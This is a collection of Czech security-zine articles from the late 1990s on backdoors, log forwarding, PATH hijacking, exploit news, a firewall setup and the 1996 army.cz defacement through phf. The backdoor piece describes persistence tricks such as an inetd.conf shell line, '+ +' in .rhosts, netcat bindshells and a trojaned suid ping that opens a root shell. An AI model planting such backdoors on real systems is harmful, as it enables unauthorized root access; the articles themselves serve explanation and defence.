již v předchozím odstavci jsme začali zadní vrátka rozdělovat podle typů. podívejme se blíže na první z nich - konfigurační backdoory. jde o určitým způsobem modifikované konfigurační soubory, které způsobí to, že jinak běžný program má funkce navíc. typickým příkladem je nastavení spuštění shellu po připojení na port - stačí přidat jednu řádku do souboru /etc/inetd.conf. podívejte se tam, a najdete-li řádku, která končí voláním shellu (třeba /bin/bash), máte co do činění s nejobvyklejším konfiguračním backdoorem. mezi další, tzv. remote backdoory, patřilo v minulosti uvedení dvou znaků plus "+ +" v souboru /root/.rhosts. uživatelé linuxu se bát nemusí, linuxový rsh je proti tomu imunní. další vypečenost, tentokrát patřící mezi lokální backdoory, je nastavení writable práv k důležitému konfiguračnímu souboru, takže v budoucnu může hacker jednoduše upravovat funkce programů aniž by měl roota.

s modifikací inetd.conf aby spustil shell po připojení na určitý port souvisí další skupina backdooru - tzv. bindshelly. to jsou programy, které dělají to samé, ale bez změn v konfiguraci. hodí prostě na určitý port shell, hacker se pak připojí a má plný přístup ke stroji. typickým příkladem je program, který se jmenuje nečekaně: bindshell. v případě nouze může hacker použít i netcat, program který je k dispozici ve většině distribucí linuxu. vymakanější programy mají shell zaheslovaný, aby se na něj nemohl připojit kdejaký lamer. do kategorie bindshellů spadají i cgi backdoory - zajímavý se objevil ve dvanáctém vydání hackerského e-zine prielom, který vychází na serveru hysteria.sk. jak píše pajkus, umožňuje vám v klidu internetové kavárny popíjet kolu a do svého netscape ťukat příkazy.

a dostáváme se dál - nyní probereme modifikace programů. hackeři často změní přímo kód určitého, jinak běžného a proto nenápadného programu, který tím získá nechtěné funkce. obligátní příkaz: program ping. v defaultní konfiguraci je suid root, takže má skvělé předpoklady pro nekalé činnosti. útočník na hacknuté mašině program vymění. místo normálního pingu dá svůj, který dělá to samé, ale navíc má funkci, která při zadání správného slova jako parametru spustí rootshell. přidat tuto funkci je velmi jednoduché, dá se vtěstnat na 20 řádků, a přitom jde o triviální kód, který dovede napsat i amatér se základy céčka. v archivu skupiny sert je program ping, který dělá toto:

honza$ ping localhost

64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.3 ms

3 packets transmitted, 3 packets received, 0% packet loss

honza$ (vidíme, že původní funkce je zachována, ale...)

honza$ ping syrup

bash# a máme root.

takto se dají modifikovat i serverové programy, čímž získáváme remote backdoor. opět ze sert utilities: program inetd, který normálně zajišťuje spouštění podserverů, má přidanou funkci, že po připojení na port 5002 nám poskytne rootshell.

a na závěr: na internetu koloval program, který spadá spíš do hi-tech technodigi oblasti. byl to v podstatě bindshell, ale byl schovaný důmyslným způsobem - majitel backdooru musel nejdřív na stroj poslat několik speciálních icmp paketů (a to se dalo i s programem ping), pak teprve se otevřel shell. program naštěstí nefungoval.. ale pro schopného programátora to bohužel není problém. podobně kyber působí různé PAM backdoory, ale s těmi se setká málokdo (já sám jsem zatím nepotkal ani jeden.)

šťouralům doporučujeme podrobně prostudovat server hysteria.sk, kde v sekci arxiv najdete plno starých backdoorů, a ve dvanáctém čísle prielomu si k nim přečtete velmi zajímavý a podrobný pokec.

Jak na forwardování logů

v dnešním článku na téma sekurity se dozvíte, jak zprovoznit forwardování logů po síti na jinou mašinu. k čemu to může být? v případě fatální havárie disku nebo hackerského útoku máte zachované neporušené záznamy o provozu počítače a můžete lehce zjistit co se dělo. první co hacker po nabourání systému udělá, je vyčištění logů - abyste nemohli přijít odkud a jak se k vám dostal, a že se tam vůbec dostal.

syslog umí posílat záznamy po síti. používá k tomu protokol UDP, což určitě není ideální, ale jako provizorní řešení to stačí. (existuje i verze logující přes TCP, syslog-ng, ale ještě jsem ho nezkoušel, až tak učiním, dám samozřejmě vědět). pokud jej spustíme s volbou -r, přijímá na portu 514 hlášení od jiných počítačů, zpracovává je dle svých vlastních filtrovacích pravidel, a zapisuje do logů. přístup na port je dobré omezit pomocí IP filtrů, jinak vám může logovat kdokoliv. (ono to sice jde s IP filtrem, ale aspoň odpadnou začátečníci.)

logovací server tedy, jak už bylo řečeno, vytvoříme tak, že syslogd, démon starající se o zapisování záznamů, spustíme s volbou -r. pomocí ipfwadm omezíme přístup jen pro mašiny pocitac1 a pocitac2, ostatní zakážeme:

 

ipfwadm -I -a accept -P udp -S pocitac1 -D lokalni.pocitac 514

ipfwadm -I -a accept -P udp -S pocitac2 -D lokalni.pocitac 514

ipfwadm -I -a reject -P udp -S 0/0 -D lokalni.pocitac 514

 

 

klienta vytvoříme tak, že do souboru /etc/syslog.conf přidáme řádku

 

 

*.* @ip.adresa.serveru

 

 

(mezi položkami jsou tabelátory!)

po restartu démona (killall -HUP syslogd) se forwardují veškeré logy na logovací server.

uvedené řešení má několik vad: za prvé, spojení je přes UDP, nemáte tedy jistotu že pakety dorazily, a dokonce není problém je spoofovat, jinými slovy falšovat zdrojovou adresu. za druhé - tento způsob je velmi nápadný, schopný hacker jako první skoukne /etc/syslog.conf a vidí že je zle. jako alternativa se dá použít již zmiňovaný syslog-ng, ke kterému se určitě v budoucnu vrátíme.

zajímavým způsobem ochrany sítě může být vyhradit jeden starší počítač na logovací server, a udělat z něj tzv. blackbox, to jest mašinu, na které nepoběží žádná jiná služba, tím pádem bude téměř nehacknutelný a nikdo vám nebude moct logy modifikovat.

kouzlíme s path podruhé

v článku kouzlíme s path vám kolega pan veselý vyložil jednu potenciální chybu v programech a jak se proti ní bránit. dnes si řekneme o dalším možném zneužití které se týká této proměnné.

každý shell má definovanou proměnnou $PATH. ta určuje pořadí adresářů, ve kterých budou hledány spouštěné programy. běžně obsahuje adresáře /bin, /usr/bin, /sbin, /usr/sbin a podobně. pro zvýšení pohodlí do $PATH však lidé často přidávají tečku. tím pádem mohou pohodlně spouštět programy z adresáře, ve kterém se právě nacházejí - místo ./program pak stačí napsat program.

pokud je tečka uvedena hned jako první v $PATH, je to sice hezké, můžete si napsat třeba vlastní program cat, který umí barvy a když pak napíšete cat /etc/passwd, uvidíte roota v růžové barvě a nobodyho šedě. ale je tu zásadní problém. představte si, že někdo dá do adresáře /tmp svůj vlastní program cat, který roota tiskne bledě modře! vy jdete do /tmp se podívat kdo tam má soubory, pak dáte jen pro zábavu cat /etc/passwd a root je najednou modrej. dostal vás. pod vaším userid spustil svůj vlastní kód, který mění růžovou za modrou, příště to může být horší, může si třeba někam nakopírovat shell a nastavit mu suid.

co s tím? zkusíme dát tečku na konec proměnné $PATH? hmm, tím bychom to trochu stížili. ale pořád jsou tu překlepy. leckdo je zvyklý psát velmi rychle, a to by to byl superman aby se někdy nepřeklepli. já třeba často napíšu l s-l místo správného ls -l. a jsme zase tam kde jsme byli. kdyby v /tmp byl zlomyslný program l a my jsme se zrovna nacházeli v /tmp, právě jsme ho spustili a kdosi získal naše práva.

jak to vyřešit? nedávejte si tečku vůbec do $PATH. programy které nejsou v adresářích uvedených v $PATH se naučte spouštět pomocí zápisu ./program. a máte hned o problém míň.

proč padal underground

ano ano, potvrzuji. všichni kteří jste nám v minulých dnech psali, že je underground spadlý (maily chodily, stará se o ně separátní mašina): víme o tom a dokonce se zdá že jsme to vyřešili, pokud čtete tento článek, je to téměř jisté. problém byl samozřejmě úplně jinde než jsme ho hledali a čekali.

takže co se stalo: underground občas přestával odpovídat. všiml jsem si toho už asi před měsícem. stalo se to téměř pravidlem - v pondělí se dostanu k internetu, chci se podívat co je nového, případně vložit do redakčního systému články sepsané přes víkend, a ... underground nejede. po poradě s kolegou jsme usoudili, že to dělá mysqld, které je docela náročné na spotřebu paměti. pan veselý chvíli nějak laboroval s nastavením, a že už to bude dobré.

že to dobré nebylo jste viděli sami. v pátek ráno jsem vesele odfrčel z dosahu civilizace s vědomím, že v databáze článků je naplněná a server pár dní vydrží bez našeho zásahu. v pondělí kolem poledne koukám, že underground je definitivně v prdeli, nedá se zalogovat přes ssh ani přes telnet. pan veselý mi vzápětí hlásil emailem, že underground je definitivně v prdeli a to tak, že se nedá ani zalogovat. připojil jsem se na irc, kde máme obvykle operativní redakční porady (to proto, že já se vyskytuji v místě A a pan veselý v místě B, přičemž obě místa jsou od sebe vzdálená stovky kilometrů, takže večerní redakční sleziny v hospodě nepřichazejí v úvahu, slézat se musím s jinými), načež jsme spustili záchranou akci. začali jsme tím, že p. veselý zavolal do telenor internet, ať kyberdigi rebootnou. po malých peripetiích (nemohli jí chuděru najít) se to podařilo.

nepomohlo. musel jsem se sebrat a jet do TI osobně. celej nažhavenej, jak si to s tím mysql vyřídím - osobně ho upgraduju. dorazil jsem do telenoru, chvíli jsem kyberdigi hledal (mimochodem, našel jsem lahůdky jako www.junyks.cz, netmag nebo průvodce, mohl jsem je klidně odpojit od elektriky, to že dneska šly bylo tedy jen díky mně), ochotný pán mi připojil klávesnici a monitor, já se pokusil zalogovat - neúspěch, login vytuhl. ok, máš co chceš, svině. reboot. nejdřív slušnej a ohleduplnej soft reboot (init: cannot fork), pak natvrdo vypnout zapnout (to už neříkal nic).

nahodil jsem single mód. pro ty kterým to nic neříká: je to mód určený na opravu a údržbu systému. chystám se ztrestat mysql... a najednou jsem vědel čím to bylo. znáte to - myslíte si že víte přesně kde je problém a víte přesně kdo za to může a že za to nemůžete vy. to je jen iluze, protože za to tutově můžete vy a problém je ve vaší blbosti. třeba že nainstalujete jakousi betaverzi programu, o kterém víte že díky jemu občas vytuhává server. když server opravdu začne vytuhávat tedy program "vypnete". ale přitom se spletete a program nevypnete úplně!

ano - padání underground.cz bylo, zdá se, mojí vinou. nemůže za to chudák linux ani daniel dočekal, můžu za to jen já. sypu si popel na hlavu, jsem debil debil debil a žádám o schovívavost. ačkoliv chápu že je to jen chabá satisfakce, máte nárok na roční přístup k underground.cz zcela zdarma.

sekurity news 6.

trochu jsme zaspali dobu s těmi sekurity news, co? měl to být týdeník, teď se z toho stává občasník, částečně kvulivá nedostatku času, ale také proto, že ono se toho zas tak moc v oblasti bezpečnosti neděje, prázdniny se chýlí ke konci a každý užívá posledních chvilek volna.

minulý týden se to ovšem změnilo, neboť pár fanatiků se vrátilo z dovolených a objevilo mnoho nedostatků v operačním systému linux. pro dost z nich jsou k dispozici i exploity, takže upgradujte dokud je čas:

denial of service v telnetu

v balíčku telnet byla objevena možnost denial of service útoku. máte-li redhat, upgradujte balíček telnet*rpm z updates.redhat.com. zde je verze pro redhat 5.2, zde pro redhat 6.0. upgrady pro jiné distribuce bohužel musíte hledat sami.

libtermcap root exploit

v knihovně libtermcap byl objeven buffer overflow, umožňující získat práva roota. exploit už byl zveřejněn v konferenci bugtraq. upgrade pro rh 5.2 zde a zde (doporučuji upgradovat obojí), pro rh 6.0 zde a zde.

vixie-cron root exploit

vixie-cron, což je varianta cron daemona používaná v distribuci redhat, po spuštění příkazu mailne uživateli výsledky. ale ouha, sendmail je spuštěn s právami roota a uživatel může specifikovat konfigurační soubor k sendmailu, což se dohromady rovná získání práv roota. upgrade pro rh 5.2 zde, pro rh 6.0 zde.

wu-ftpd a pro-ftpd overflow

v ftp daemonu wu-ftpd byl nedávno objeven buffer overflow. ve verzi 2.5 a všech nižších byla však minulý týden objevena nová, umožňující komukoliv na dálku získat práva roota. fix pro rh 5.2 zde, pro 6.0 zde. další populární daemon pro-ftpd je také děravý, používáte-li jej, umíte si zajisté sehnat patch sami.

Hackerske vyrazy

sniffersniffer je jedna z nejpoužívanějších hackerových nástrojů, i když se dnes člověk diví, že se najdou lidé používající nekryptované konexe k jinému počítači. funguje tak, že na segmentu kontroluje všechna data nebo většinu dat přenášených po síti a snaží se z nich dostat nějaké heslo. exploit, sploitexploit je program, který umožní získat rootovská práva tím, že jaksi donutí již běžící jiný program, aby udělal něco, co nemá. např. máme-li exploit na crona (tedy cron-exploit), potom exploit funguje tak, že cronovi něco řekne, cron neví, co s tím, a exploitu dovolí spustit rootovskou příkazovou řádku. jiný exploit může třeba využít nějaké díry v x-window a spustit s rootovskými právy předem definovaný soubor. ať již funguje jakkoliv, prostě dá normálnímu uživateli rootovský přístup. exploit není konkrétní program, je to druh programu, exploitů je hodně a každý funguje za jiných podmínek a na jiných systémech. remote exploitremote exploit pracuje obdobně jako exploit, s tím rozdílem, že pracují remote, tj. z dálky. třeba pokud mám remote exploit na sendmail, potom si na svém vlastním počítači doma.tady.cz pustím tento program a řeknu mu, aby napadl sendmail na počítači bracha.prace.cz. tím vzniká rootovský přísup na počítač bracha.prace.cz. buffer overflowprogramy s tímto označením patří do balíku exploitů, které fungují tak, že v programu, který je napaden, naplní nějakou proměnnou nějakými obsáhlými daty, program potom přistoupí do paměti, kde nemá co dělat a posere se z toho. teď záleží na tom, jak, buď vykóruje, tedy skončí a zanechá po sobě soubor core, nebo nám něco spustí. záleží už jen na nás, co spustí nebo jak využijeme souboru core. backdoorbackdoor neboli zadní vrátka slouží hackerovi k tomu, aby se úspěšně dostal do vašeho systému v případě, že byl odhalen a jeho nynější způsob logování se mu byl nějak znemožněn. např. odhalíte-li, že se nějaký hacker konektí na konto jarda, změnou hesla u tohoto konta hackera nezastavíte. buď má v záloze ještě nějaké další konto nebo má nějaký program, který mu umožní se k vám dostat i bez jardy. trojský kůňpast na uživatele nebo na roota, tedy jakási variace řeckého trojského koně z dávné antiky. program je někomu podsunut s tím, že napadaný nic netušící člověk program spustí a on kromě toho, že udělá to, co má, udělá i něco navíc, třeba o něm někomu pošle zprávu nebo uchová heslo, které by se normálně neuchovalo. ostatní věcidenial of servicetoto je druh útoku na nějakou službu, třeba na httpd (tedy služba umožňující se připojit obvykle na port 80 a získat obsah nějaké webové stránky). provedeme-li denial of service útok (nebo prostě dos útok), uděláme něco, čím službu vypneme. buď pošleme httpd tolik dotazů, až se zahltí a spadne, nebo uděláme něco jiného, ale výsledek je ten, že služba prostě nepoběží a musí se znovu nahodit. shellshell je jiný výraz pro příkazovou řádku. získat někde shell znamená nalogovat se na nějaký server (obvykle na cizí konto). shellů je víc, nejznámější jsou asi bash, tcsh nebo ksh. scanscan je jakési prohlížení více serverů. scanovací program má často seznam serverů, u kterých se podívá, které služby poskytuje a které z nich je možné napadnout. může zjišťovat i jiné věci, třeba co máte za systém nebo jakou verzi softwaru kde používáte.

 

eye sekurity

mezi základní vědomosti ohledně počítačové grafiky patří to, že lidské oko špatně zaostřuje na modrou barvu. této vlastnosti se často využívá například v grafických prostředích (borland, windows) při volbě modrého pozadí. bílý a žlutý text se poměrně příjemně čte, protože dobře vystupuje z nezaostřitelného modrého pozadí. naopak volba modré barvy pro text není ze zřejmých důvodů příliš vhodná, přestože implicitní nastavení některých programů ji používá. na text se špatně soustředí pohled, čtení je namáhavé a pomalé. mezi nejvýznamější programy, které jsou takto špatně nastavené jsou lynx a ls, a proto se na ně zaměřím a ukážu, jak se dají lépe nakonfigurovat.

lynx implicitně používá modrou barvy pro zobrazování názvů html linků, luštění tmavě modrého textu nad černým pozadím je nepříjemné a na slabším nebo špatně osvětleném monitoru téměř nemožné. konfigurace programu lynx (soubor /etc/lynx.cfg) je po instalaci následující:

(vypisuji pouze část)

color:0:black:white

 

color:1:blue:white

 

color:2:yellow:blue

 

color:3:green:white

 

color:4:magenta:white

 

color:5:blue:white

 

color:6:red:white

 

color:7:magenta:cyan

 

tuto část doporučuji nahradit například takto:

color:0:lightgray:black

 

color:1:green:black

 

color:2:yellow:blue

 

color:3:green:white

 

color:4:magenta:black

 

color:5:brightgreen:black

 

color:6:red:lightgray

 

color:7:black:white

 

v konfiguračním souboru je samozřejmě v komentáři uveden význam jednotlivých polí. pokud nemůžete měnit soubor /etc/lynx.cfg, zkopírujte si ho do domovského adresáře (cp /etc/lynx.cfg ~/.lynx.cfg), změňte konfiguraci a lynx spouštějte příkazem lynx -cfg=~/.lynx.cfg, nebo lépe přidejte do .bashrc řádek alias lynx="lynx -cfg=~/.lynx.cfg" (potom stačí spouštět příkazem "lynx").

nastavení barevného výpisu ls není o nic složitější. nevhodně je zde nastavena modrá barva názvů adresářů. nejprve konfigurační soubor vytvoříme:

cd ; dircolors -p > .coloursrc

tento soubor vyeditujeme dle svých potřeb (je dobře okomentován - modrou barvu adresářů doporuručuji změnit například na světle bílou). nastavení je dále potřeba načíst do proměnné ls_colors, což nejsnázeji provedete příkazem

eval `dircolors ~/.coloursrc`

tento příkaz dejte opět do ~/.bashrc a navíc ještě

alias ls="ls --color=auto -n".

jinak pokud si vůbec chcete změnit implicitní nastavení barvy terminálu, použijte příkaz setterm, například takto:

setterm -foreground black -background white -store

xterm a příbuzné spouštějte například s parametry jako tyto:

xterm -fg white -bg black

color_xterm -fg white -bg blue4

color-xterm -fg white -bg blue4

nxterm -fg white -bg blue4

nebo nastavte příslušné resources v souboru ~/.xdefaults resp. ~/.xresources, například:

! xterm & spol.

 

*visualbell: true

 

rxvt*foreground: white

 

rxvt*background: black

 

xterm*eightbitcontrol: true

 

xterm*font: -misc-fixed-medium-r-normal-*-16-*-iso8859-2

 

popis jednotlivých položek je na manuálových stránkách xtermu a rxvt.

implicitní nastavení virtuální konzole lze také změnit v době kompilace kernelu - soubor /usr/src/linux/drivers/char/console.c (někde kolem 2269. řádku):

def_color = 0x07; /* white */

 

ulcolor = 0x0f; /* bold white */

 

halfcolor = 0x08; /* grey */

 

pro modré pozadí lze použít:

def_color = 0x17; /* bílá na modrém */

 

ulcolor = 0x1f; /* jasně bílá na modrém */

 

halfcolor = 0x18; /* šedivá na modrém */

 

první číslo po 0x znamená barvu pozadí (0 .. černá, 1 .. modrá, 2 .. zelená, 3 .. modrozelená, 4 .. červená, 5 .. fialová, 6 .. hnědá/žlutá, 7 .. bílá atd.), to druhé barvu textu (číslování je stejné, přičtení 8 se získají "jasné" varianty barev - v některých případech jasné barvy na pozadí způsobují blikající text).

nakonec jsem si nechal takovou lahůdku, a tou je kurzor na textové konzoli. blikající podtržítko mě příliš neuchvátilo a tak jsem si našel v souboru /usr/src/linux/documentation/vga-softcursor.txt návod, jak ho nastavit do lepší podoby. možností je poměrně mnoho - výběr velikosti, blikavosti, barvy pozadí/textu v kurzoru atd. ... osobně doporučuji neblikající červený nebo zelený "čtvereček" - výhodou je to, že je pozice kurzoru na obrazovce okamžitě patrná (tím nechci říct, že bych ho jinak musel hledat, ale takto je o dost nápadnější). kurzor se nastaví příslušnými escape sekvencemi. tedy například červený kurzor získáme:

echo -ne '\033[?17;0;64c'

a zelený

echo -ne '\033[?17;99;64c'

popis významu jednotlivých polí získáte pročtením výše jmenovaného souboru. příkaz samozřejmě přidejte někam do souboru ~/.bash_profile nebo obdobného.

množství dioptrií ne větší než malé vám přeje

martin mačok

 

firewally ii.

 

v dnešním díle našeho miniseriálu o firewallech si předvedeme jednoduchý příklad vybudování aplikační brány na volně dostupném software. předem vás musím upozornit, že vytvoření bezpečného firewallu je poměrně složitá záležitost, zejména proto, že v praxi bývá architektura sítě často poněkud odlišná od našeho zidealizovaného příkladu. proto berte tento článek jen jako inspiraci a příklad, předtím než zkusíte zabezpečit komplikovanější síť, určitě se naučtě trochu víc.

pro účely naší demonstrace řekněme, že chcete bezpečně připojit svoji interní síť k internetu. co k tomu tedy potřebujete: počítač se dvěma síťovkama, procesor stačí tak nějaké starší pentium. paměť je často hodně limitující záležitost - pokud dojde volná paměť, musí systém začít swapovat na disk, což dost zpomaluje. tudíž nedoporučuji na paměti šetřit. pro cca 10 klientů myslím 64 MB stačí. protože na firewallu nepoběží žádné další služby, není potřeba více místa na disku než na samotný systém (maximálně 200 MB), logy a jiné provozní záležitosti (tady přitlačme - doporučuji minimálně 500 MB) a odkládací prostor - swap (127 MB to jistí).

počítač tedy máme. nyní je potřeba na něj nainstalovat linux. protože není účelem tohoto článku vás učit instalovat linux, budeme předpokládat že víte co děláte. jen pár slov k výběru distribuce: není dobré používat moc starou distribuci - ty jsou dost děravé a po instalaci musíte překopat téměr vše, abyste je rozumně zabezpečili. není ovšem vhodné použít ani moc novou distribuci, o které se zase dá předpokládat, že v ní budou průběžně objevovány nové a nové chyby. pro jednoduchou správu je také dobré vybrat distribuci s nějakým vymakaným systémem správy balíčků. rozhodnutí je na vás, já osobně v době psaní tohoto článku preferuji redhat 5.2.

po instalaci následuje zabezpečení. smažte všechny služby, které nepotřebujete (na firewallu nepotřebujete žádné běžné). věci jako telnet, ftp, portmapper či dokonce rsh by měly zmizet. vypněte inetd - nebudete ho vůbec potřebovat. ve startovacích skriptech vypněte další, ne-inetd služby. poté se podívejte na internet, stáhněte a nainstalujte updaty k balíčkům které ještě zůstaly - starší distribuce to potřebují. u některých starších systémů je potřeba zapnout shadow passwords příkazem pwconv. udělejte to, ačkoliv na systému bude jediné aktivní konto root (v žádném případě tam nedávejte konta normálním uživatelům), může se to hodit.

pokud předpokládáte, že systém nebude mít klávesnici a obrazovku a tudíž bude potřeba jej spravovat vzdáleně, nepoužívejte k tomu nidky nešifrované spojení. použijte třeba balík ssh, který najdete zde.

důležitou vlastností aplikačního firewallu je to, že musí být schopen klienty donutit používat jej. tudíž po konfiguraci sítě zablokujte ip forwarding a pro jistotu i zrušte routovací záznamy mezi jednotlivými síťovými kartami.

velmi se vám může hodit software pro ip filtrování. dovoluji si doporučit balík ipchains, který umožňuje vytvářet a spravovat pravidla pro filtrování. má více funkcí než starší ipfwadm a já jej považuji za lepší. jedinou nevýhodou je, že jej podporují pouze novější kernely a pokud jste jako já vybrali distribuci redhat 5.2, musíte systém dodatečně updatovat. stáhněte si vše z této adresy a příkazem rpm -Uvh *.rpm updates nainstalujte.

nyní je potřeba získat software pro vlastní provoz aplikační brány. pro linux existují dvě nejpoužívanější varianty - TIS fwtk proxy a SOCKS proxy. s fwtk nemám žádné zkušenosti, naopak SOCKS úspěšně používám, takže je také využiju v tomto článku. SOCKS je obecný proxy protokol používaný na aplikačních bránách a můžete jej získat na adrese http://www.socks.nec.com/. bohužel je zdarma pouze pro nekomerční použití (předpokládejme že tomu vyhovujete). kompilace a instalace je jednoduchá, je to klasické ./configure; make; make install, mělo by to proběhnout bez nejmenších problémů.

nyní tedy máme aplikační bránu nainstalovanou a blížíme se k finále, zbývá nám konfigurace. vytvořte soubor /etc/socks5.conf. předpokládejme, že síťové rozhraní eth0 je připojeno do internetu, eth1 je lokální síť. do souboru tedy napište

 

auth - - -

interface 192.168.0. - eth1

interface - - eth0

 

 

čeho jsme dosáhli? řekli jsme socks serveru, že interní klienti se připojují z rozhraní eth1 a vše ostatní (=internet) visí na eth0. prvním řádkem jsme vypnuli autentifikaci, protože předpokládáme, že interní síť používájí pouze oprávnění uživatelé.

nyní zbývá nastavit přístupová práva. dejme tomu, že chceme dosáhnout toho, že všichni klienti z interní sítě (192.168.0.0/24) budou moci používat web, počítač 192.168.0.1 bude moci používat ftp a jinak nikdo nemůže dělat nic. do souboru /etc/socks5.conf tedy dejme řádky:

 

permit - - 192.168.0. - - 80

permit - - 192.168.0.1 - - 21

 

 

(na poslední řádce by mohlo být deny - - - - - -, ale není to potřeba, protože socks5 předpokládá, že co není povoleno, je zakázáno.)

spusťte socks daemona a ... je to hotovo. nyní jen musíte zkonfigurovat klienty na lokální síti, aby věděli na jaký socks server se mají obrátit. s tím vám už neporadíme - je jiné pro každý program, zkuste hledat kdesi v hlubinách konfigurace něco jako "use firewall". doufáme že si s vaší novou hračkou užijete dostatek legrace.

další buffer overflow - běžné?

martin mačok 26. 10. 1999 (15:13)

minulý týden byla objevena chyba omnihttpd distribuce serveru, konkrétně se jedná o další z klasických buffer overflows. proč se nad tím pozastavuji? takovýchto chyb je přece objeveno mnoho v podstatě každý den, ale tento konkrétní příklad svádí k zamyšlení. podíváme se na tuto chybu podrobněji.

původní zdrojový kód obsahuje tyto řádky:

 

 

void main(int argc, char **argv)

{

char outstring[100];

// extract x & y from passed values

strcpy(outstring, argv[1]);

...

 

 

myslím, že v tuto chvíli je většině programátorů hned vše jasné ...strcpy ... kam to bude? ... aha! ... no fuj ... tedy (rutinní) oprava bude následující:

 

 

if (strlen(argv[1])>99) exit(0);

strcpy(outstring, argv[1]);

 

 

 

 

až doposavaď to byla klasika a rutina, každý mávne rukou, no co, v příští verzi to bude opraveno a jedeme dál ... ale podívejte se na ten kód ještě jednou! kontrola mezí pole je sice důležitá věc, ale tento kus kódu zároveň něco vypovídá o autorovi a o celém projektu. vypovídá o tom, že autor není zběhlý programátor v jazyce c a že mu ušly některé základní konstrukty. proč to nenapsal takto?

 

void main(int argc, char **argv)

{

char *outstring = argv[1];

...

 

je to efektivnější (rychlejší), kratší, výstižnější, bezpečnější a odpovídá to stylu programování v jazyce c. autoři omnihttpd se tedy vyznamenali, nejspíše svůj kód po sobě ani moc nekontrolují a je vážný důvod se domnívat, že takovýchto přehmatů zde bude více. omnihttpd zjevně není psán se zřetelem na bezpečnost a radím vám raději se vyhnout používání tohoto serveru na důležitých sajtech.

navíc se zde potvrzuje další výhoda open source ... můžete si zdrojový kód prohlédnout a rozhodnout: programátoři jsou profíci a vědí co dělají nebo ad hoc kodéři syslící další z mnoha produktů. dá se poznat, zda je software kódován se zřetelem na bezpečnost, zda opravovat chyby bude rutinní hračka a či jich bude jak máku a bude lepší vše napsat znovu od začátku ...

 

jak číst linuxové disky z windows?

také se vám to určitě stává: pod linuxem stáhnete hromadu souborů a rebootujete do windows. načež zjistíte, že jste si soubory samozřejmě zapomněli na linuxovém disku a musíte znova absolvovat reboot tam a zase zpátky. naštěstí existují programy, které přístup k linuxové partition z windows umožňují. zde si některé představíme.

nerozhodné však nepotěším: mám pro vás dilema. buď si vyberete skvělý grafický program s drag'n'drop funkcemi, který je ovšem označen jako alfa verze, takže může padat a díky tomu že umí zapisovat je i potenciálně nebezpečný. druhou alternativou je jednoduchý prográmek, který umí jen číst, za to má jen řádkové rozhraní pro DOS.

začneme tím prvním. ext2 explorer je hezký program pro windows 95/98/NT, který neumí jen ext2 filesystem, ale všechny možné další formáty. v levém okně vidíte seznam vašich diskových zařízení a můžete jej různě rozbalovat a procházet. v pravém okně vidíte seznam souborů. z disků můžete číst a můžete na ně zapisovat. na ext2 discích je samozřejmostí nastavování umask, přístupových práv či vlastníka souboru. program umí vytvářet i speciální device soubory nebo symbolické linky (linuxáři vědí). ale je zde jedno velké pozor. autor tvrdí, že ačkoliv jsou poslední verze dostatečně stabilní, je to pořád beta a dají se předpokládat nejrůznější chyby, přičemž při práci s disky mohou být chyby dost osudné. takže, řečeno slovy autora: zálohujte. program ext2 explorer najdete zde.

další program je o něco primitivnější. lread je sada utilit pro windows 95/98/NT, které také umožňují přístup k linuxovému disku. mají však pouze řádkové rozhraní. čtení disku je prováděno programem lread.exe, který je už ve stabilní verzi, a díky tomu že se nesnaží nic zapisovat nehrozí žádná destrukce. v distribuci je i experimentální program lwrite.exe na zápis. autoři varují, že se jedná o alfa verzi a její použití je na vlastní nebezpečí. k lread od verze 3.2 existuje i takové pseudo-grafické rozhraní - je to vlastně primitivní http server, ke kterému se můžete připojit svým browserem. lread najdete zde.

shrňme tedy poznatky z dnešního článku: číst ext2 partition pod windows samozřejmě jde a programů pro to existuje hned několik. jedním z nich je ext2 explorer, jehož výhodou je grafické rozhraní a podpora pro zápis. nevýhodou je jistá betaidnost, nezaručující vašim diskům zdraví až do smrti. dalším programem je lread, který má příkazové rozhraní, ale díky oddělení programů pro zápis a čtení můžete směle číst disky bez nebezpečí. go for it!

ext2 explorer: http://uranus.it.swin.edu.au/~jn/linux/explore2fs.htm

lread: http://metalab.unc.edu/pub/Linux/utils/dos/

redhat initscripts

v redhatích initscriptech byla objevena klasická chyba: tmp race. poznamenejme, že race problémy spočívají v nezabezpečených operacích se soubory - program něco zapíše do veřejně přístupného souboru, který potom dále používá. pokud se někomu podaří trefit se do mezery mezi zápisem a dalším použitím, může do souboru zapsat svá data. (odtud název race = závod.) updatujte balík iniscripts z ftp://updates.redhat.com/

 

hackdetails 1.

v novém seriálu hackdetails budeme probírat technické podrobnosti nejznámějších českých hacků. když pomineme čistě slovenský SERT, jako první začali v masovém měřítku napadat československé servery členové skupiny CzERT. první mediálně známý hack změna webovských stránek ministerstva obrany čr okolo 3. listopadu 1996. uložené kopie tehdejších původních a hacklých stránek najdete na serveru hysteria.sk, a to zde. změna stránek vyvolala velkou odezvu v médiích, v novinách se objevily titulky czert hacknul internet nebo počítače armády napadeny pirátem - klasické zveličování všeho týkající se počítačové kriminality. hackeři nezískali přístup k žádným utajovaným skutečnostem, dokonce ani k žádným high-protected serverům, měli prostě jen přístup k poměrně nedůležitému webserveru oddělenému od ostatních sítí armády.

faktem je ovšem to, že chyba díky které czerti pronikli na server byla naprosto triviální. obyčejný cgi skript, který špatně kontroloval vstup uživatele. pamětníkům určitě něco říká pojem phf - onen legendární děravý skript starý přes tři roky, který se ještě dnes dá leckde najít. nyní cituji pajkuse, člena skupiny czert, který popisuje způsob hacku:

nuz takto si to pamatame my partizani: po navrate z prazdnin v roku '96 som v auguste pokracoval vo vcelku brutalnej hackerine ktoru som este vtedy prevadzkoval.. tych 10-12 hodin denne.. skanoval som v podstate cely .sk a .cz na vsetky zname remote exploity, vratane trapneho phf bugu... www.army.cz bezalo na HP-UX, zial nepamatam si verziu OS ani aky to bol HW, zial stare folklorne logy som zmazal pri stahovani z Texasu... httpd na www.army.cz bezal pod uid "httpd" co bolo konto vytvorene na spravu webu a pod tym uid boli ulozene aj vsetky html fajly.. cize dost jednoduche.. ale vtedy v roku '96 este nikto brutalne neskanoval .cz ani .sk, na slovensku nebol skoro nikto aktivny a amici neskenovali zahranicie.. USA -> .cz bol povacsine okolo 1000ms ping, tak sa im ani nedivim ;) cize ked od augusta som vedel ze je tam phf ale akurat som obcas pokukal po disku a nic viac.. ftedy sa este weby neprerabali..

